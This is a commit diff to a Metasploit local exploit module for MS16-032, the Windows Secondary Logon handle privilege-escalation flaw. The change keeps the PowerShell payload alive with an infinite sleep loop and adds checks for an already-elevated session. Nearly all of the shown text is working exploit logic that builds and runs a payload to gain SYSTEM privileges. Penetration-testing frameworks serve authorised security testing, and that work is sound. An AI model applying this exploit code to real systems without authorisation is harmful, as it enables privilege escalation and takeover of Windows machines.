Fix Payload exit issue

Fixed payload exiting issue by adding while ($true){Start-Sleep 1000};
statement.

modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb

@@ -12,7 +12,10 @@ class MetasploitModule < Msf::Exploit::Local
   Rank = NormalRanking
 
   include Msf::Exploit::Powershell
+  include Msf::Post::Windows::Priv
+  include Msf::Post::Windows::Process
   include Msf::Post::File
+  include Msf::Post::Windows::ReflectiveDLLInjection
 
   def initialize(info = {})
     super(update_info(info,
@@ -83,7 +86,9 @@ This module exploits the lack of sanitization of standard handles in Windows' Se
   end
 
   def exploit
-
+    if is_system?
+      fail_with(Failure::None, 'Session is already elevated')
+    end
     arch1 = check
     if arch1 == nil
       print_error("Architecture could not be determined.")
@@ -95,6 +100,7 @@ This module exploits the lack of sanitization of standard handles in Windows' Se
     vprint_status("PS1 loaded from #{ps_path}")
     ms16_032 = File.read(ps_path)
     cmdstr=expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'
+
     if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
       cmdstr.gsub!("System32","SYSWOW64")
       print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
@@ -106,7 +112,7 @@ This module exploits the lack of sanitization of standard handles in Windows' Se
     payl.sub!(/.*?(?=New-Object IO)/im, "")
     payl = payl.split("';$s.")[0]
     payl.gsub!("''","'")
-    payl = "$s=#{payl}"
+    payl = "$s=#{payl}while($true){Start-Sleep 1000};"
 
     @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
     path = datastore['W_PATH'] || pwd
@@ -146,7 +152,6 @@ This module exploits the lack of sanitization of standard handles in Windows' Se
     rescue
       print_error("An error occurred executing the script.")
     end
-
   end
 
   def cleanup
@@ -161,5 +166,4 @@ This module exploits the lack of sanitization of standard handles in Windows' Se
       print_error("There was an issue with cleanup of the powershell payload script.")
     end
   end
-
 end